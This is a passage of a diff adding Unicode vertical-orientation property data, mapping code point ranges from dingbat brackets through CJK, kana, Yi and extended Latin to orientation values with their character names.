+276C           ; R  # Ps         MEDIUM LEFT-POINTING ANGLE BRACKET ORNAMENT
+276D           ; R  # Pe         MEDIUM RIGHT-POINTING ANGLE BRACKET ORNAMENT
+276E           ; R  # Ps         HEAVY LEFT-POINTING ANGLE QUOTATION MARK ORNAMENT
+276F           ; R  # Pe         HEAVY RIGHT-POINTING ANGLE QUOTATION MARK ORNAMENT
+2770           ; R  # Ps         HEAVY LEFT-POINTING ANGLE BRACKET ORNAMENT
+2771           ; R  # Pe         HEAVY RIGHT-POINTING ANGLE BRACKET ORNAMENT
+2772           ; R  # Ps         LIGHT LEFT TORTOISE SHELL BRACKET ORNAMENT
+2773           ; R  # Pe         LIGHT RIGHT TORTOISE SHELL BRACKET ORNAMENT
+2774           ; R  # Ps         MEDIUM LEFT CURLY BRACKET ORNAMENT
+2775           ; R  # Pe         MEDIUM RIGHT CURLY BRACKET ORNAMENT
+2776..2793     ; U  # No    [30] DINGBAT NEGATIVE CIRCLED DIGIT ONE..DINGBAT NEGATIVE CIRCLED SANS-SERIF NUMBER TEN
+2794..27BF     ; R  # So    [44] HEAVY WIDE-HEADED RIGHTWARDS ARROW..DOUBLE CURLY LOOP
+27C0..27C4     ; R  # Sm     [5] THREE DIMENSIONAL ANGLE..OPEN SUPERSET
+27C5           ; R  # Ps         LEFT S-SHAPED BAG DELIMITER
+27C6           ; R  # Pe         RIGHT S-SHAPED BAG DELIMITER
+27C7..27E5     ; R  # Sm    [31] OR WITH DOT INSIDE..WHITE SQUARE WITH RIGHTWARDS TICK
+27E6           ; R  # Ps         MATHEMATICAL LEFT WHITE SQUARE BRACKET
+27E7           ; R  # Pe         MATHEMATICAL RIGHT WHITE SQUARE BRACKET
+27E8           ; R  # Ps         MATHEMATICAL LEFT ANGLE BRACKET
+27E9           ; R  # Pe         MATHEMATICAL RIGHT ANGLE BRACKET
+27EA           ; R  # Ps         MATHEMATICAL LEFT DOUBLE ANGLE BRACKET
+27EB           ; R  # Pe         MATHEMATICAL RIGHT DOUBLE ANGLE BRACKET
+27EC           ; R  # Ps         MATHEMATICAL LEFT WHITE TORTOISE SHELL BRACKET
+27ED           ; R  # Pe         MATHEMATICAL RIGHT WHITE TORTOISE SHELL BRACKET
+27EE           ; R  # Ps         MATHEMATICAL LEFT FLATTENED PARENTHESIS
+27EF           ; R  # Pe         MATHEMATICAL RIGHT FLATTENED PARENTHESIS
+27F0..27FF     ; R  # Sm    [16] UPWARDS QUADRUPLE ARROW..LONG RIGHTWARDS SQUIGGLE ARROW
+2800..28FF     ; R  # So   [256] BRAILLE PATTERN BLANK..BRAILLE PATTERN DOTS-12345678
+2900..297F     ; R  # Sm   [128] RIGHTWARDS TWO-HEADED ARROW WITH VERTICAL STROKE..DOWN FISH TAIL
+2980..2982     ; R  # Sm     [3] TRIPLE VERTICAL BAR DELIMITER..Z NOTATION TYPE COLON
+2983           ; R  # Ps         LEFT WHITE CURLY BRACKET
+2984           ; R  # Pe         RIGHT WHITE CURLY BRACKET
+2985           ; R  # Ps         LEFT WHITE PARENTHESIS
+2986           ; R  # Pe         RIGHT WHITE PARENTHESIS
+2987           ; R  # Ps         Z NOTATION LEFT IMAGE BRACKET
+2988           ; R  # Pe         Z NOTATION RIGHT IMAGE BRACKET
+2989           ; R  # Ps         Z NOTATION LEFT BINDING BRACKET
+298A           ; R  # Pe         Z NOTATION RIGHT BINDING BRACKET
+298B           ; R  # Ps         LEFT SQUARE BRACKET WITH UNDERBAR
+298C           ; R  # Pe         RIGHT SQUARE BRACKET WITH UNDERBAR
+298D           ; R  # Ps         LEFT SQUARE BRACKET WITH TICK IN TOP CORNER
+298E           ; R  # Pe         RIGHT SQUARE BRACKET WITH TICK IN BOTTOM CORNER
+298F           ; R  # Ps         LEFT SQUARE BRACKET WITH TICK IN BOTTOM CORNER
+2990           ; R  # Pe         RIGHT SQUARE BRACKET WITH TICK IN TOP CORNER
+2991           ; R  # Ps         LEFT ANGLE BRACKET WITH DOT
+2992           ; R  # Pe         RIGHT ANGLE BRACKET WITH DOT
+2993           ; R  # Ps         LEFT ARC LESS-THAN BRACKET
+2994           ; R  # Pe         RIGHT ARC GREATER-THAN BRACKET
+2995           ; R  # Ps         DOUBLE LEFT ARC GREATER-THAN BRACKET
+2996           ; R  # Pe         DOUBLE RIGHT ARC LESS-THAN BRACKET
+2997           ; R  # Ps         LEFT BLACK TORTOISE SHELL BRACKET
+2998           ; R  # Pe         RIGHT BLACK TORTOISE SHELL BRACKET
+2999..29D7     ; R  # Sm    [63] DOTTED FENCE..BLACK HOURGLASS
+29D8           ; R  # Ps         LEFT WIGGLY FENCE
+29D9           ; R  # Pe         RIGHT WIGGLY FENCE
+29DA           ; R  # Ps         LEFT DOUBLE WIGGLY FENCE
+29DB           ; R  # Pe         RIGHT DOUBLE WIGGLY FENCE
+29DC..29FB     ; R  # Sm    [32] INCOMPLETE INFINITY..TRIPLE PLUS
+29FC           ; R  # Ps         LEFT-POINTING CURVED ANGLE BRACKET
+29FD           ; R  # Pe         RIGHT-POINTING CURVED ANGLE BRACKET
+29FE..29FF     ; R  # Sm     [2] TINY..MINY
+2A00..2AFF     ; R  # Sm   [256] N-ARY CIRCLED DOT OPERATOR..N-ARY WHITE VERTICAL BAR
+2B00..2B11     ; R  # So    [18] NORTH EAST WHITE ARROW..LEFTWARDS ARROW WITH TIP UPWARDS
+2B12..2B2F     ; U  # So    [30] SQUARE WITH TOP HALF BLACK..WHITE VERTICAL ELLIPSE
+2B30..2B44     ; R  # Sm    [21] LEFT ARROW WITH SMALL CIRCLE..RIGHTWARDS ARROW THROUGH SUPERSET
+2B45..2B46     ; R  # So     [2] LEFTWARDS QUADRUPLE ARROW..RIGHTWARDS QUADRUPLE ARROW
+2B47..2B4C     ; R  # Sm     [6] REVERSE TILDE OPERATOR ABOVE RIGHTWARDS ARROW..RIGHTWARDS ARROW ABOVE REVERSE TILDE OPERATOR
+2B4D..2B4F     ; R  # So     [3] DOWNWARDS TRIANGLE-HEADED ZIGZAG ARROW..SHORT BACKSLANTED SOUTH ARROW
+2B50..2B59     ; U  # So    [10] WHITE MEDIUM STAR..HEAVY CIRCLED SALTIRE
+2B5A..2B73     ; R  # So    [26] SLANTED NORTH ARROW WITH HOOKED HEAD..DOWNWARDS TRIANGLE-HEADED ARROW TO BAR
+2B76..2B95     ; R  # So    [32] NORTH WEST TRIANGLE-HEADED ARROW TO BAR..RIGHTWARDS BLACK ARROW
+2B98..2BB7     ; R  # So    [32] THREE-D TOP-LIGHTED LEFTWARDS EQUILATERAL ARROWHEAD..RIBBON ARROW RIGHT DOWN
+2BB8..2BB9     ; U  # So     [2] UPWARDS WHITE ARROW FROM BAR WITH HORIZONTAL BAR..UP ARROWHEAD IN A RECTANGLE BOX
+2BBA..2BBC     ; U  # Cn     [3] <reserved-2BBA>..<reserved-2BBC>
+2BBD..2BC8     ; U  # So    [12] BALLOT BOX WITH LIGHT X..BLACK MEDIUM RIGHT-POINTING TRIANGLE CENTRED
+2BC9           ; U  # Cn         <reserved-2BC9>
+2BCA..2BD1     ; U  # So     [8] TOP HALF BLACK CIRCLE..UNCERTAINTY SIGN
+2BD2           ; R  # So         GROUP MARK
+2BD3..2BEB     ; U  # Cn    [25] <reserved-2BD3>..<reserved-2BEB>
+2BEC..2BEF     ; R  # So     [4] LEFTWARDS TWO-HEADED ARROW WITH TRIANGLE ARROWHEADS..DOWNWARDS TWO-HEADED ARROW WITH TRIANGLE ARROWHEADS
+2BF0..2BFF     ; U  # Cn    [16] <reserved-2BF0>..<reserved-2BFF>
+2C00..2C2E     ; R  # Lu    [47] GLAGOLITIC CAPITAL LETTER AZU..GLAGOLITIC CAPITAL LETTER LATINATE MYSLITE
+2C30..2C5E     ; R  # Ll    [47] GLAGOLITIC SMALL LETTER AZU..GLAGOLITIC SMALL LETTER LATINATE MYSLITE
+2C60..2C7B     ; R  # L&    [28] LATIN CAPITAL LETTER L WITH DOUBLE BAR..LATIN LETTER SMALL CAPITAL TURNED E
+2C7C..2C7D     ; R  # Lm     [2] LATIN SUBSCRIPT SMALL LETTER J..MODIFIER LETTER CAPITAL V
+2C7E..2C7F     ; R  # Lu     [2] LATIN CAPITAL LETTER S WITH SWASH TAIL..LATIN CAPITAL LETTER Z WITH SWASH TAIL
+2C80..2CE4     ; R  # L&   [101] COPTIC CAPITAL LETTER ALFA..COPTIC SYMBOL KAI
+2CE5..2CEA     ; R  # So     [6] COPTIC SYMBOL MI RO..COPTIC SYMBOL SHIMA SIMA
+2CEB..2CEE     ; R  # L&     [4] COPTIC CAPITAL LETTER CRYPTOGRAMMIC SHEI..COPTIC SMALL LETTER CRYPTOGRAMMIC GANGIA
+2CEF..2CF1     ; R  # Mn     [3] COPTIC COMBINING NI ABOVE..COPTIC COMBINING SPIRITUS LENIS
+2CF2..2CF3     ; R  # L&     [2] COPTIC CAPITAL LETTER BOHAIRIC KHEI..COPTIC SMALL LETTER BOHAIRIC KHEI
+2CF9..2CFC     ; R  # Po     [4] COPTIC OLD NUBIAN FULL STOP..COPTIC OLD NUBIAN VERSE DIVIDER
+2CFD           ; R  # No         COPTIC FRACTION ONE HALF
+2CFE..2CFF     ; R  # Po     [2] COPTIC FULL STOP..COPTIC MORPHOLOGICAL DIVIDER
+2D00..2D25     ; R  # Ll    [38] GEORGIAN SMALL LETTER AN..GEORGIAN SMALL LETTER HOE
+2D27           ; R  # Ll         GEORGIAN SMALL LETTER YN
+2D2D           ; R  # Ll         GEORGIAN SMALL LETTER AEN
+2D30..2D67     ; R  # Lo    [56] TIFINAGH LETTER YA..TIFINAGH LETTER YO
+2D6F           ; R  # Lm         TIFINAGH MODIFIER LETTER LABIALIZATION MARK
+2D70           ; R  # Po         TIFINAGH SEPARATOR MARK
+2D7F           ; R  # Mn         TIFINAGH CONSONANT JOINER
+2D80..2D96     ; R  # Lo    [23] ETHIOPIC SYLLABLE LOA..ETHIOPIC SYLLABLE GGWE
+2DA0..2DA6     ; R  # Lo     [7] ETHIOPIC SYLLABLE SSA..ETHIOPIC SYLLABLE SSO
+2DA8..2DAE     ; R  # Lo     [7] ETHIOPIC SYLLABLE CCA..ETHIOPIC SYLLABLE CCO
+2DB0..2DB6     ; R  # Lo     [7] ETHIOPIC SYLLABLE ZZA..ETHIOPIC SYLLABLE ZZO
+2DB8..2DBE     ; R  # Lo     [7] ETHIOPIC SYLLABLE CCHA..ETHIOPIC SYLLABLE CCHO
+2DC0..2DC6     ; R  # Lo     [7] ETHIOPIC SYLLABLE QYA..ETHIOPIC SYLLABLE QYO
+2DC8..2DCE     ; R  # Lo     [7] ETHIOPIC SYLLABLE KYA..ETHIOPIC SYLLABLE KYO
+2DD0..2DD6     ; R  # Lo     [7] ETHIOPIC SYLLABLE XYA..ETHIOPIC SYLLABLE XYO
+2DD8..2DDE     ; R  # Lo     [7] ETHIOPIC SYLLABLE GYA..ETHIOPIC SYLLABLE GYO
+2DE0..2DFF     ; R  # Mn    [32] COMBINING CYRILLIC LETTER BE..COMBINING CYRILLIC LETTER IOTIFIED BIG YUS
+2E00..2E01     ; R  # Po     [2] RIGHT ANGLE SUBSTITUTION MARKER..RIGHT ANGLE DOTTED SUBSTITUTION MARKER
+2E02           ; R  # Pi         LEFT SUBSTITUTION BRACKET
+2E03           ; R  # Pf         RIGHT SUBSTITUTION BRACKET
+2E04           ; R  # Pi         LEFT DOTTED SUBSTITUTION BRACKET
+2E05           ; R  # Pf         RIGHT DOTTED SUBSTITUTION BRACKET
+2E06..2E08     ; R  # Po     [3] RAISED INTERPOLATION MARKER..DOTTED TRANSPOSITION MARKER
+2E09           ; R  # Pi         LEFT TRANSPOSITION BRACKET
+2E0A           ; R  # Pf         RIGHT TRANSPOSITION BRACKET
+2E0B           ; R  # Po         RAISED SQUARE
+2E0C           ; R  # Pi         LEFT RAISED OMISSION BRACKET
+2E0D           ; R  # Pf         RIGHT RAISED OMISSION BRACKET
+2E0E..2E16     ; R  # Po     [9] EDITORIAL CORONIS..DOTTED RIGHT-POINTING ANGLE
+2E17           ; R  # Pd         DOUBLE OBLIQUE HYPHEN
+2E18..2E19     ; R  # Po     [2] INVERTED INTERROBANG..PALM BRANCH
+2E1A           ; R  # Pd         HYPHEN WITH DIAERESIS
+2E1B           ; R  # Po         TILDE WITH RING ABOVE
+2E1C           ; R  # Pi         LEFT LOW PARAPHRASE BRACKET
+2E1D           ; R  # Pf         RIGHT LOW PARAPHRASE BRACKET
+2E1E..2E1F     ; R  # Po     [2] TILDE WITH DOT ABOVE..TILDE WITH DOT BELOW
+2E20           ; R  # Pi         LEFT VERTICAL BAR WITH QUILL
+2E21           ; R  # Pf         RIGHT VERTICAL BAR WITH QUILL
+2E22           ; R  # Ps         TOP LEFT HALF BRACKET
+2E23           ; R  # Pe         TOP RIGHT HALF BRACKET
+2E24           ; R  # Ps         BOTTOM LEFT HALF BRACKET
+2E25           ; R  # Pe         BOTTOM RIGHT HALF BRACKET
+2E26           ; R  # Ps         LEFT SIDEWAYS U BRACKET
+2E27           ; R  # Pe         RIGHT SIDEWAYS U BRACKET
+2E28           ; R  # Ps         LEFT DOUBLE PARENTHESIS
+2E29           ; R  # Pe         RIGHT DOUBLE PARENTHESIS
+2E2A..2E2E     ; R  # Po     [5] TWO DOTS OVER ONE DOT PUNCTUATION..REVERSED QUESTION MARK
+2E2F           ; R  # Lm         VERTICAL TILDE
+2E30..2E39     ; R  # Po    [10] RING POINT..TOP HALF SECTION SIGN
+2E3A..2E3B     ; R  # Pd     [2] TWO-EM DASH..THREE-EM DASH
+2E3C..2E3F     ; R  # Po     [4] STENOGRAPHIC FULL STOP..CAPITULUM
+2E40           ; R  # Pd         DOUBLE HYPHEN
+2E41           ; R  # Po         REVERSED COMMA
+2E42           ; R  # Ps         DOUBLE LOW-REVERSED-9 QUOTATION MARK
+2E43..2E49     ; R  # Po     [7] DASH WITH LEFT UPTURN..DOUBLE STACKED COMMA
+2E80..2E99     ; U  # So    [26] CJK RADICAL REPEAT..CJK RADICAL RAP
+2E9A           ; U  # Cn         <reserved-2E9A>
+2E9B..2EF3     ; U  # So    [89] CJK RADICAL CHOKE..CJK RADICAL C-SIMPLIFIED TURTLE
+2EF4..2EFF     ; U  # Cn    [12] <reserved-2EF4>..<reserved-2EFF>
+2F00..2FD5     ; U  # So   [214] KANGXI RADICAL ONE..KANGXI RADICAL FLUTE
+2FD6..2FDF     ; U  # Cn    [10] <reserved-2FD6>..<reserved-2FDF>
+2FE0..2FEF     ; U  # Cn    [16] <reserved-2FE0>..<reserved-2FEF>
+2FF0..2FFB     ; U  # So    [12] IDEOGRAPHIC DESCRIPTION CHARACTER LEFT TO RIGHT..IDEOGRAPHIC DESCRIPTION CHARACTER OVERLAID
+2FFC..2FFF     ; U  # Cn     [4] <reserved-2FFC>..<reserved-2FFF>
+3000           ; U  # Zs         IDEOGRAPHIC SPACE
+3001..3002     ; Tu # Po     [2] IDEOGRAPHIC COMMA..IDEOGRAPHIC FULL STOP
+3003           ; U  # Po         DITTO MARK
+3004           ; U  # So         JAPANESE INDUSTRIAL STANDARD SYMBOL
+3005           ; U  # Lm         IDEOGRAPHIC ITERATION MARK
+3006           ; U  # Lo         IDEOGRAPHIC CLOSING MARK
+3007           ; U  # Nl         IDEOGRAPHIC NUMBER ZERO
+3008           ; Tr # Ps         LEFT ANGLE BRACKET
+3009           ; Tr # Pe         RIGHT ANGLE BRACKET
+300A           ; Tr # Ps         LEFT DOUBLE ANGLE BRACKET
+300B           ; Tr # Pe         RIGHT DOUBLE ANGLE BRACKET
+300C           ; Tr # Ps         LEFT CORNER BRACKET
+300D           ; Tr # Pe         RIGHT CORNER BRACKET
+300E           ; Tr # Ps         LEFT WHITE CORNER BRACKET
+300F           ; Tr # Pe         RIGHT WHITE CORNER BRACKET
+3010           ; Tr # Ps         LEFT BLACK LENTICULAR BRACKET
+3011           ; Tr # Pe         RIGHT BLACK LENTICULAR BRACKET
+3012..3013     ; U  # So     [2] POSTAL MARK..GETA MARK
+3014           ; Tr # Ps         LEFT TORTOISE SHELL BRACKET
+3015           ; Tr # Pe         RIGHT TORTOISE SHELL BRACKET
+3016           ; Tr # Ps         LEFT WHITE LENTICULAR BRACKET
+3017           ; Tr # Pe         RIGHT WHITE LENTICULAR BRACKET
+3018           ; Tr # Ps         LEFT WHITE TORTOISE SHELL BRACKET
+3019           ; Tr # Pe         RIGHT WHITE TORTOISE SHELL BRACKET
+301A           ; Tr # Ps         LEFT WHITE SQUARE BRACKET
+301B           ; Tr # Pe         RIGHT WHITE SQUARE BRACKET
+301C           ; Tr # Pd         WAVE DASH
+301D           ; Tr # Ps         REVERSED DOUBLE PRIME QUOTATION MARK
+301E..301F     ; Tr # Pe     [2] DOUBLE PRIME QUOTATION MARK..LOW DOUBLE PRIME QUOTATION MARK
+3020           ; U  # So         POSTAL MARK FACE
+3021..3029     ; U  # Nl     [9] HANGZHOU NUMERAL ONE..HANGZHOU NUMERAL NINE
+302A..302D     ; U  # Mn     [4] IDEOGRAPHIC LEVEL TONE MARK..IDEOGRAPHIC ENTERING TONE MARK
+302E..302F     ; U  # Mc     [2] HANGUL SINGLE DOT TONE MARK..HANGUL DOUBLE DOT TONE MARK
+3030           ; Tr # Pd         WAVY DASH
+3031..3035     ; U  # Lm     [5] VERTICAL KANA REPEAT MARK..VERTICAL KANA REPEAT MARK LOWER HALF
+3036..3037     ; U  # So     [2] CIRCLED POSTAL MARK..IDEOGRAPHIC TELEGRAPH LINE FEED SEPARATOR SYMBOL
+3038..303A     ; U  # Nl     [3] HANGZHOU NUMERAL TEN..HANGZHOU NUMERAL THIRTY
+303B           ; U  # Lm         VERTICAL IDEOGRAPHIC ITERATION MARK
+303C           ; U  # Lo         MASU MARK
+303D           ; U  # Po         PART ALTERNATION MARK
+303E..303F     ; U  # So     [2] IDEOGRAPHIC VARIATION INDICATOR..IDEOGRAPHIC HALF FILL SPACE
+3040           ; U  # Cn         <reserved-3040>
+3041           ; Tu # Lo         HIRAGANA LETTER SMALL A
+3042           ; U  # Lo         HIRAGANA LETTER A
+3043           ; Tu # Lo         HIRAGANA LETTER SMALL I
+3044           ; U  # Lo         HIRAGANA LETTER I
+3045           ; Tu # Lo         HIRAGANA LETTER SMALL U
+3046           ; U  # Lo         HIRAGANA LETTER U
+3047           ; Tu # Lo         HIRAGANA LETTER SMALL E
+3048           ; U  # Lo         HIRAGANA LETTER E
+3049           ; Tu # Lo         HIRAGANA LETTER SMALL O
+304A..3062     ; U  # Lo    [25] HIRAGANA LETTER O..HIRAGANA LETTER DI
+3063           ; Tu # Lo         HIRAGANA LETTER SMALL TU
+3064..3082     ; U  # Lo    [31] HIRAGANA LETTER TU..HIRAGANA LETTER MO
+3083           ; Tu # Lo         HIRAGANA LETTER SMALL YA
+3084           ; U  # Lo         HIRAGANA LETTER YA
+3085           ; Tu # Lo         HIRAGANA LETTER SMALL YU
+3086           ; U  # Lo         HIRAGANA LETTER YU
+3087           ; Tu # Lo         HIRAGANA LETTER SMALL YO
+3088..308D     ; U  # Lo     [6] HIRAGANA LETTER YO..HIRAGANA LETTER RO
+308E           ; Tu # Lo         HIRAGANA LETTER SMALL WA
+308F..3094     ; U  # Lo     [6] HIRAGANA LETTER WA..HIRAGANA LETTER VU
+3095..3096     ; Tu # Lo     [2] HIRAGANA LETTER SMALL KA..HIRAGANA LETTER SMALL KE
+3097..3098     ; U  # Cn     [2] <reserved-3097>..<reserved-3098>
+3099..309A     ; U  # Mn     [2] COMBINING KATAKANA-HIRAGANA VOICED SOUND MARK..COMBINING KATAKANA-HIRAGANA SEMI-VOICED SOUND MARK
+309B..309C     ; Tu # Sk     [2] KATAKANA-HIRAGANA VOICED SOUND MARK..KATAKANA-HIRAGANA SEMI-VOICED SOUND MARK
+309D..309E     ; U  # Lm     [2] HIRAGANA ITERATION MARK..HIRAGANA VOICED ITERATION MARK
+309F           ; U  # Lo         HIRAGANA DIGRAPH YORI
+30A0           ; Tr # Pd         KATAKANA-HIRAGANA DOUBLE HYPHEN
+30A1           ; Tu # Lo         KATAKANA LETTER SMALL A
+30A2           ; U  # Lo         KATAKANA LETTER A
+30A3           ; Tu # Lo         KATAKANA LETTER SMALL I
+30A4           ; U  # Lo         KATAKANA LETTER I
+30A5           ; Tu # Lo         KATAKANA LETTER SMALL U
+30A6           ; U  # Lo         KATAKANA LETTER U
+30A7           ; Tu # Lo         KATAKANA LETTER SMALL E
+30A8           ; U  # Lo         KATAKANA LETTER E
+30A9           ; Tu # Lo         KATAKANA LETTER SMALL O
+30AA..30C2     ; U  # Lo    [25] KATAKANA LETTER O..KATAKANA LETTER DI
+30C3           ; Tu # Lo         KATAKANA LETTER SMALL TU
+30C4..30E2     ; U  # Lo    [31] KATAKANA LETTER TU..KATAKANA LETTER MO
+30E3           ; Tu # Lo         KATAKANA LETTER SMALL YA
+30E4           ; U  # Lo         KATAKANA LETTER YA
+30E5           ; Tu # Lo         KATAKANA LETTER SMALL YU
+30E6           ; U  # Lo         KATAKANA LETTER YU
+30E7           ; Tu # Lo         KATAKANA LETTER SMALL YO
+30E8..30ED     ; U  # Lo     [6] KATAKANA LETTER YO..KATAKANA LETTER RO
+30EE           ; Tu # Lo         KATAKANA LETTER SMALL WA
+30EF..30F4     ; U  # Lo     [6] KATAKANA LETTER WA..KATAKANA LETTER VU
+30F5..30F6     ; Tu # Lo     [2] KATAKANA LETTER SMALL KA..KATAKANA LETTER SMALL KE
+30F7..30FA     ; U  # Lo     [4] KATAKANA LETTER VA..KATAKANA LETTER VO
+30FB           ; U  # Po         KATAKANA MIDDLE DOT
+30FC           ; Tr # Lm         KATAKANA-HIRAGANA PROLONGED SOUND MARK
+30FD..30FE     ; U  # Lm     [2] KATAKANA ITERATION MARK..KATAKANA VOICED ITERATION MARK
+30FF           ; U  # Lo         KATAKANA DIGRAPH KOTO
+3100..3104     ; U  # Cn     [5] <reserved-3100>..<reserved-3104>
+3105..3126     ; U  # Lo    [34] BOPOMOFO LETTER B..BOPOMOFO LETTER ER
+3127           ; Tu # Lo         BOPOMOFO LETTER I
+3128..312E     ; U  # Lo     [7] BOPOMOFO LETTER U..BOPOMOFO LETTER O WITH DOT ABOVE
+312F           ; U  # Cn         <reserved-312F>
+3130           ; U  # Cn         <reserved-3130>
+3131..318E     ; U  # Lo    [94] HANGUL LETTER KIYEOK..HANGUL LETTER ARAEAE
+318F           ; U  # Cn         <reserved-318F>
+3190..3191     ; U  # So     [2] IDEOGRAPHIC ANNOTATION LINKING MARK..IDEOGRAPHIC ANNOTATION REVERSE MARK
+3192..3195     ; U  # No     [4] IDEOGRAPHIC ANNOTATION ONE MARK..IDEOGRAPHIC ANNOTATION FOUR MARK
+3196..319F     ; U  # So    [10] IDEOGRAPHIC ANNOTATION TOP MARK..IDEOGRAPHIC ANNOTATION MAN MARK
+31A0..31BA     ; U  # Lo    [27] BOPOMOFO LETTER BU..BOPOMOFO LETTER ZY
+31BB..31BF     ; U  # Cn     [5] <reserved-31BB>..<reserved-31BF>
+31C0..31E3     ; U  # So    [36] CJK STROKE T..CJK STROKE Q
+31E4..31EF     ; U  # Cn    [12] <reserved-31E4>..<reserved-31EF>
+31F0..31FF     ; Tu # Lo    [16] KATAKANA LETTER SMALL KU..KATAKANA LETTER SMALL RO
+3200..321E     ; U  # So    [31] PARENTHESIZED HANGUL KIYEOK..PARENTHESIZED KOREAN CHARACTER O HU
+321F           ; U  # Cn         <reserved-321F>
+3220..3229     ; U  # No    [10] PARENTHESIZED IDEOGRAPH ONE..PARENTHESIZED IDEOGRAPH TEN
+322A..3247     ; U  # So    [30] PARENTHESIZED IDEOGRAPH MOON..CIRCLED IDEOGRAPH KOTO
+3248..324F     ; U  # No     [8] CIRCLED NUMBER TEN ON BLACK SQUARE..CIRCLED NUMBER EIGHTY ON BLACK SQUARE
+3250           ; U  # So         PARTNERSHIP SIGN
+3251..325F     ; U  # No    [15] CIRCLED NUMBER TWENTY ONE..CIRCLED NUMBER THIRTY FIVE
+3260..327F     ; U  # So    [32] CIRCLED HANGUL KIYEOK..KOREAN STANDARD SYMBOL
+3280..3289     ; U  # No    [10] CIRCLED IDEOGRAPH ONE..CIRCLED IDEOGRAPH TEN
+328A..32B0     ; U  # So    [39] CIRCLED IDEOGRAPH MOON..CIRCLED IDEOGRAPH NIGHT
+32B1..32BF     ; U  # No    [15] CIRCLED NUMBER THIRTY SIX..CIRCLED NUMBER FIFTY
+32C0..32FE     ; U  # So    [63] IDEOGRAPHIC TELEGRAPH SYMBOL FOR JANUARY..CIRCLED KATAKANA WO
+32FF           ; U  # Cn         <reserved-32FF>
+3300..3357     ; Tu # So    [88] SQUARE APAATO..SQUARE WATTO
+3358..337A     ; U  # So    [35] IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR ZERO..SQUARE IU
+337B..337F     ; Tu # So     [5] SQUARE ERA NAME HEISEI..SQUARE CORPORATION
+3380..33FF     ; U  # So   [128] SQUARE PA AMPS..SQUARE GAL
+3400..4DB5     ; U  # Lo  [6582] CJK UNIFIED IDEOGRAPH-3400..CJK UNIFIED IDEOGRAPH-4DB5
+4DB6..4DBF     ; U  # Cn    [10] <reserved-4DB6>..<reserved-4DBF>
+4DC0..4DFF     ; U  # So    [64] HEXAGRAM FOR THE CREATIVE HEAVEN..HEXAGRAM FOR BEFORE COMPLETION
+4E00..9FEA     ; U  # Lo [20971] CJK UNIFIED IDEOGRAPH-4E00..CJK UNIFIED IDEOGRAPH-9FEA
+9FEB..9FFF     ; U  # Cn    [21] <reserved-9FEB>..<reserved-9FFF>
+A000..A014     ; U  # Lo    [21] YI SYLLABLE IT..YI SYLLABLE E
+A015           ; U  # Lm         YI SYLLABLE WU
+A016..A48C     ; U  # Lo  [1143] YI SYLLABLE BIT..YI SYLLABLE YYR
+A48D..A48F     ; U  # Cn     [3] <reserved-A48D>..<reserved-A48F>
+A490..A4C6     ; U  # So    [55] YI RADICAL QOT..YI RADICAL KE
+A4C7..A4CF     ; U  # Cn     [9] <reserved-A4C7>..<reserved-A4CF>
+A4D0..A4F7     ; R  # Lo    [40] LISU LETTER BA..LISU LETTER OE
+A4F8..A4FD     ; R  # Lm     [6] LISU LETTER TONE MYA TI..LISU LETTER TONE MYA JEU
+A4FE..A4FF     ; R  # Po     [2] LISU PUNCTUATION COMMA..LISU PUNCTUATION FULL STOP
+A500..A60B     ; R  # Lo   [268] VAI SYLLABLE EE..VAI SYLLABLE NG
+A60C           ; R  # Lm         VAI SYLLABLE LENGTHENER
+A60D..A60F     ; R  # Po     [3] VAI COMMA..VAI QUESTION MARK
+A610..A61F     ; R  # Lo    [16] VAI SYLLABLE NDOLE FA..VAI SYMBOL JONG
+A620..A629     ; R  # Nd    [10] VAI DIGIT ZERO..VAI DIGIT NINE
+A62A..A62B     ; R  # Lo     [2] VAI SYLLABLE NDOLE MA..VAI SYLLABLE NDOLE DO
+A640..A66D     ; R  # L&    [46] CYRILLIC CAPITAL LETTER ZEMLYA..CYRILLIC SMALL LETTER DOUBLE MONOCULAR O
+A66E           ; R  # Lo         CYRILLIC LETTER MULTIOCULAR O
+A66F           ; R  # Mn         COMBINING CYRILLIC VZMET
+A670..A672     ; R  # Me     [3] COMBINING CYRILLIC TEN MILLIONS SIGN..COMBINING CYRILLIC THOUSAND MILLIONS SIGN
+A673           ; R  # Po         SLAVONIC ASTERISK
+A674..A67D     ; R  # Mn    [10] COMBINING CYRILLIC LETTER UKRAINIAN IE..COMBINING CYRILLIC PAYEROK
+A67E           ; R  # Po         CYRILLIC KAVYKA
+A67F           ; R  # Lm         CYRILLIC PAYEROK
+A680..A69B     ; R  # L&    [28] CYRILLIC CAPITAL LETTER DWE..CYRILLIC SMALL LETTER CROSSED O
+A69C..A69D     ; R  # Lm     [2] MODIFIER LETTER CYRILLIC HARD SIGN..MODIFIER LETTER CYRILLIC SOFT SIGN
+A69E..A69F     ; R  # Mn     [2] COMBINING CYRILLIC LETTER EF..COMBINING CYRILLIC LETTER IOTIFIED E
+A6A0..A6E5     ; R  # Lo    [70] BAMUM LETTER A..BAMUM LETTER KI
+A6E6..A6EF     ; R  # Nl    [10] BAMUM LETTER MO..BAMUM LETTER KOGHOM
+A6F0..A6F1     ; R  # Mn     [2] BAMUM COMBINING MARK KOQNDON..BAMUM COMBINING MARK TUKWENTIS
+A6F2..A6F7     ; R  # Po     [6] BAMUM NJAEMLI..BAMUM QUESTION MARK
+A700..A716     ; R  # Sk    [23] MODIFIER LETTER CHINESE TONE YIN PING..MODIFIER LETTER EXTRA-LOW LEFT-STEM TONE BAR
+A717..A71F     ; R  # Lm     [9] MODIFIER LETTER DOT VERTICAL BAR..MODIFIER LETTER LOW INVERTED EXCLAMATION MARK
+A720..A721     ; R  # Sk     [2] MODIFIER LETTER STRESS AND HIGH TONE..MODIFIER LETTER STRESS AND LOW TONE
+A722..A76F     ; R  # L&    [78] LATIN CAPITAL LETTER EGYPTOLOGICAL ALEF..LATIN SMALL LETTER CON
+A770           ; R  # Lm         MODIFIER LETTER US
+A771..A787     ; R  # L&    [23] LATIN SMALL LETTER DUM..LATIN SMALL LETTER INSULAR T
+A788           ; R  # Lm         MODIFIER LETTER LOW CIRCUMFLEX ACCENT
+A789..A78A     ; R  # Sk     [2] MODIFIER LETTER COLON..MODIFIER LETTER SHORT EQUALS SIGN
+A78B..A78E     ; R  # L&     [4] LATIN CAPITAL LETTER SALTILLO..LATIN SMALL LETTER L WITH RETROFLEX HOOK AND BELT
+A78F           ; R  # Lo         LATIN LETTER SINOLOGICAL DOT
+A790..A7AE     ; R  # L&    [31] LATIN CAPITAL LETTER N WITH DESCENDER..LATIN CAPITAL LETTER SMALL CAPITAL I
